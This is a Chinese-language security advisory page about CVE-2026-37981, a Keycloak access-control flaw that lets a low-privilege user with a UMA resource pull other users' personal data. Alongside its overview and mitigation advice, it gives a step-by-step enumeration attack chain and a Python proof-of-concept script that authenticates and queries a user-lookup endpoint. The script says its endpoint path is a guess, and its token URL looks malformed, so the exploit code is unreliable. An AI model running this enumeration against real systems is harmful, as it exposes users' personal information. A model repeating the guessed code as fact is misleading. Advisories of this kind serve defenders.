IPBUF安全漏洞报告
English
CVE-2026-37981 CVSS 4.3 中危

CVE-2026-37981 Keycloak用户信息枚举漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-37981
漏洞类型
访问控制失效
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

Keycloak访问控制失效信息泄露用户枚举CVE-2026-37981

漏洞概述

Keycloak账户资源用户查找端点存在访问控制失效漏洞。该漏洞允许拥有至少一个用户管理访问(UMA)资源的远程经过身份验证的用户,通过发送包含任意用户名或电子邮件的精心构造请求,枚举并获取领域内所有用户的个人身份信息(PII)。由于端点未正确验证请求者与目标用户的关联性,导致无关用户的完整资料对象被返回,造成广泛的信息泄露风险。

技术细节

该漏洞位于Keycloak的账户管理模块,具体涉及处理用户查询的API端点。系统设计上存在逻辑缺陷,未能对“账户资源”中的用户查找操作实施严格的权限隔离。攻击者首先需要在系统中注册并登录,且必须拥有至少一个UMA资源的所有权。满足条件后,攻击者可以通过修改请求参数,向系统发起针对任意用户名或邮箱的查询请求。服务器在处理这些请求时,错误地信任了经过基础认证的会话,直接返回了目标用户的完整个人资料,包括姓名、邮箱等敏感PII。这使得攻击者能够利用脚本进行批量枚举攻击,无需任何用户交互即可窃取整个Realm的用户数据库。

攻击链分析

STEP 1
步骤1:初始访问
攻击者在Keycloak中注册一个合法账户,或者使用现有的低权限账户。
STEP 2
步骤2:权限获取
攻击者确保该账户拥有至少一个User-Managed Access (UMA)资源,这是触发漏洞的前提条件。
STEP 3
步骤3:漏洞利用
攻击者向账户资源中的用户查找端点发送特制的HTTP请求,参数中包含推测的任意用户名或邮箱地址。
STEP 4
步骤4:信息泄露
服务器端未验证请求者对目标用户的查看权限,直接返回目标用户的完整个人资料对象(PII)。
STEP 5
步骤5:数据收集
攻击者通过自动化脚本批量发送请求,枚举并导出Realm内所有用户的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-37981 # Author: Security Analyst import requests import json # Configuration TARGET_URL = "https://keycloak.example.com/realms/master/account" USERNAME = "attacker" PASSWORD = "password" TARGET_USER_TO_ENUM = "admin" # Create a session to handle cookies session = requests.Session() # 1. Authenticate to obtain a token login_payload = { "username": USERNAME, "password": PASSWORD, "client_id": "account-console", "grant_type": "password" } print("[+] Logging in...") auth_resp = session.post(f"{TARGET_URL}/protocol/openid-connect/token", data=login_payload) if auth_resp.status_code != 200: print("[-] Login failed") exit(1) access_token = auth_resp.json().get("access_token") headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # 2. Exploit: Lookup arbitrary user via the vulnerable endpoint # The endpoint allows querying any username if the attacker has a UMA resource print(f"[+] Attempting to enumerate user: {TARGET_USER_TO_ENUM}") # Note: The exact endpoint path might vary based on Keycloak version, this represents the vulnerable resource lookup enum_url = f"{TARGET_URL}/resources/users/lookup" payload = { "username": TARGET_USER_TO_ENUM } response = session.post(enum_url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: user_data = response.json() print("[+] Success! User profile data leaked:") print(json.dumps(user_data, indent=2)) else: print("[-] Exploit failed or endpoint not vulnerable.")

影响范围

Keycloak (具体受影响版本请参考RHSA-2026:19596及RHSA-2026:19597)

防御指南

临时缓解措施
建议立即应用官方提供的修复补丁(参考RHSA-2026:19596和RHSA-2026:19597)。在无法立即升级的情况下,应严格限制普通用户创建和管理UMA资源的权限,并密切监控账户管理接口是否存在异常的批量查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表